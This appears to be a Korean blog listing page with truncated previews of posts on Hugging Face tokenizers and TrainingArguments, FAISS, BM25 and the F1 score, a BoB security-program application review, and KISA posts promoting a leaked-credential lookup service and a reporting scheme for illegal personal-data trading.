※ 정말 유용한 옵션들이 많기 때문에 계속해서 수정해보도록 하겠습니다. Transformer Pipeline Transformer의 Pipeline은 간단히 아래의 그림으로 설명할 수 있다. 이 포스트에서는 Raw Text를 Token으로 바꿔주는 huggingface Tokenizer에는 어떤 argument가 자주 사용되는지에 대해 다뤄보고자 한다. 만약 tokenizer의 개념이 궁금하다면 아래 포스트를 참고해보길 바란다. (자연어 처리) 토큰화 / 토큰화 개념 (자연어 처리) GPT / tokenizers 라이브러리 (자연어 처리) BERT / tokenizers 라이브러리 PreTrainedTokenizer.__call__ https://huggingface.co/transformers/v3.5.1/main_classes/tokenizer.html 보통은 tokenizer를 처음부터 만들지는 않고 아래와 같이 잘 알려져있거나 자신이 풀고자 하는 Task에 맞는 모델의 Tok

(huggingface) TrainingArguments's arguments [내부링크]

Transformer Pipeline Transformer의 Pipeline은 간단히 아래의 그림으로 설명할 수 있다. 이 포스트에서는 토큰화된 데이터를 사용하여 모델 학습(Fine-Tuning)을 하기 전, 학습에 대한 설정을 담당하는 huggingface의 TrainingArguments에는 어떤 argument가 자주 사용되는지에 대해 다뤄보고자 한다. TrainingArguments.__call__ https://huggingface.co/docs/transformers/main/en/main_classes/trainer#transformers.TrainingArguments training_args = TrainingArguments( output_dir='./results', learning_rate=5e-5, per_device_train_batch_size=8, per_device_eval_batch_size=8, num_train_epochs=3, warmup_ste

(데이터 과학) FAISS - similarity search [내부링크]

개요 때때로는 GPU를 사용하더라도 수많은 사용자의 Query를 동시에 처리하기 힘든 경우가 있을 수 있다. 특히 Query와 비슷한 Passage를 찾으려 할 때 Passage의 크기가 우리의 생각보다 훨씬 크다면 찾는 데에만 시간을 많이 잡아먹게 될 것이다. 이러한 문제점을 해결할 수 있는 방법 중 하나인 FAISS를 알아보도록 하자. FAISS FAISS는 페이스북(메타)에서 만든 벡터 유사도를 효율적으로 처리해주는 라이브러리이다. 일반적으로 벡터 간 유사도를 구할 때에는 inner product를 계산하거나 scikit-learn이나 torch의 cosine_similarity 함수를 사용하곤 하는데, FAISS를 사용하게 되면 이보다 훨씬 빠르게 벡터 간 유사도를 측정할 수 있다. FAISS의 설치는 다음과 같이 간편하게 할 수 있다. (pytorch가 사전에 설치되어 있어야 한다) # CPU Only pip install faiss-cpu -q # GPU pip insta

(데이터 과학) BM25 [내부링크]

대학생의 견해가 들어가 있는 포스트입니다. 틀린 부분 있다면 언제든지 지적 부탁드립니다. BM25 BM25는 Elastic Search와 같은 정보 검색 시스템에서 많이 사용되는 Rank Algorithm 중 하나이다. BM25는 TFIDF와 같이 Query와 Passage 간의 유사성을 측정하기 위해 단어의 출현 빈도를 고려한다. Query와 Passage 간 일치하는 단어 수와 같은 요소 등을 고려하여 각 문서의 점수를 계산하며, BM25에서 사용하는 가중치는 단어가 Passage에서 출현하는 빈도와 Query에서 출현하는 빈도의 차이에 기반한다. 이해를 위해 BM25 수식을 살펴보도록 하자. 위 수식에서 c는 Document, c는 Query를 의미하며 ci 는 Query 내에 있는 Keyword를 의미한다. ※ 여기서 Keyword라는 것은 자연어 처리에서 Token을 의미한다고 생각하면 편할 것 같습니다. 또한 c1 과 c 는 Parameter이다. 보통 c1 ∈ [1.2,

(데이터 과학) F1 Score [내부링크]

F1 Score 개요 Classification에서 주로 사용하는 평가 지표는 여러가지가 있다. 대표적으로 사용하는 평가 지표는 바로 Accuracy이다. Accuracy(정확도)는 데이터 셋 내에 클래스가 균일하게 분포되어 있는 경우에 유용한 평가 지표이다. 이말은 즉, 클래스가 불균형한 데이터 셋에 대해서는 좋지 않은 평가지표란 의미인데, 왜 불균형 데이터셋에서는 좋지 않은지 예를 들어보도록 하자. 우리가 정상 프로그램과 악성 프로그램을 분석하고 있으며 전체 프로그램 중 정상 프로그램이 전체의 99%를 차지하고, 악성 프로그램이 전체의 1%를 차지한다고 가정하자. 그리고 여기서 정상 프로그램과 악성 프로그램을 분류하는 모델을 구축한다고 해보자. 다만 모델이 잘 학습되지 않아서 프로그램 중 100%를 정상 프로그램으로 예측하며, 프로그램 중 0%를 악성 프로그램으로 예측하는 모델이 만들어졌다면 이 모델은 분명히 잘못되었고 쓸모없는 모델이다. 이 모델에 Train 시 사용했던 데이터

(KISTI) 차세대 보안리더 양성 프로그램 / BoB 12기 지원 후기 [내부링크]

※ 포스트에 사용되는 모든 이미지의 출처는 https://www.kitribob.kr/ 에 있음을 미리 알려드립니다. 정보보안 관련 대외활동 중 가장 널리 알려져 있는 Best of the Best(BOB)는 과학기술정보통신부(KISTI)에서 주관하는 정보보안전문가 교육 프로그램이다. 보안을 전공하는 대학생들 사이에서는 많이 알려져 있기 때문에 필자의 귀에도 들어오게 되었고 한번 지원을 해보기로 결심했다. 이전에 사이버작전센터에서 군 복무를 하며 보안관제 근무를 하였을 때 배웠던 지식을 조금 더 확장해 나갈 수 있지 않을까 싶어 지원하게 된 것 같다. BOB는 약 7개월 정도의 활동 기간을 가진다. 학교와 병행이 가능하다고 하지만 듣는 학점이 많다면 프로젝트에 차질이 생긴다고 한다. 때문에 대부분의 경우 휴학을 하며 거주지가 서울이 아닌 경우 프로젝트 기간에 BOB 센터가 있는 가산 디지털단지 근처에서 자취를 하는 것 같다. 지원 전에 참고하면 좋을 것 같다. BOB의 트랙 BOB는

(개인정보위/KISA) 털린 내 정보 찾기 서비스 이용 방법 [내부링크]

본 게시글은 KISA의 "2023년 개인정보 불법유통 대학생 모니터링단"의 홍보 활동을 목적으로 작성되었습니다. 안녕하세요! 개인정보 불법유통 대학생 모니터링단원 우용이입니다. 이번 포스트에서는 개인정보보호위원회의 대국민 서비스 중 하나인 '털린 내 정보 찾기' 서비스에 대해 간단히 다뤄보고자 합니다. 또한 개인정보위와 한국인터넷서비스가 2023년 연말까지 진행하는 '국민 제보제' 운영에 대해서도 간략하게 설명하고자 합니다. 털린 내 정보 찾기 서비스? 2021년 경 부터 개인정보보호위원회에서 운영하기 시작한 '털린 내 정보 찾기 서비스'는 다크웹 등에서 불법 유통되는 온라인 계정 정보들을 수집하여 사용자가 현재 사용하고 있는 비밀번호가 유출되었는지를 확인해주고 필요 시 비밀번호 변경 및 탈퇴까지 할 수 있도록 도와주는 역할을 합니다. 만약 누군가가 특정 사이트의 자신의 계정에 허가 없이 접속한다거나 자신의 계정이 도용당한 것 같다는 의심이 들 때 이 서비스를 사용한다면 자신의 아이

(개인정보위/KISA) 개인정보 불법유통 국민 제보제 [내부링크]

본 게시글은 KISA의 "2023년 개인정보 불법유통 대학생 모니터링단"의 홍보 활동을 목적으로 작성되었습니다. 개인정보 불법유통 국민 제보제 개인정보보호위원회와 한국인터넷진흥원(KISA)에서 온라인 상 개인정보 불법 유통 게시물을 국민이 직접 신고할 수 있는 '국민 제보제'를 2023년 7월 14일부터 2023년 12월 29일까지 운영하고 있습니다. 인터넷을 사용하다가 계정정보 또는 개인정보 DB 불법 매매가 의심되는 게시물을 발견할 경우 다음 한국인터넷진흥원 공지사항을 확인하여 이메일로 제출하면 확인 후 삭제 조치를 진행한다고 합니다. 2023년 개인정보 불법유통 국민 제보제 운영 안내 안녕하세요. 한국인터넷진흥원입니다. 개인정보보호위원회와 한국인터넷진흥원에서는 온라인상 개인정보 불법유통 게시물을 국민이 직접 신고할 수 있는 ‘개인정보 불법유통 국민 제보제’를 2023년 7월 14일부터 2023년 12월 29일까지 운영할 예정입니다. 인터넷 이용 시 계정정보 또는 개인정보 DB를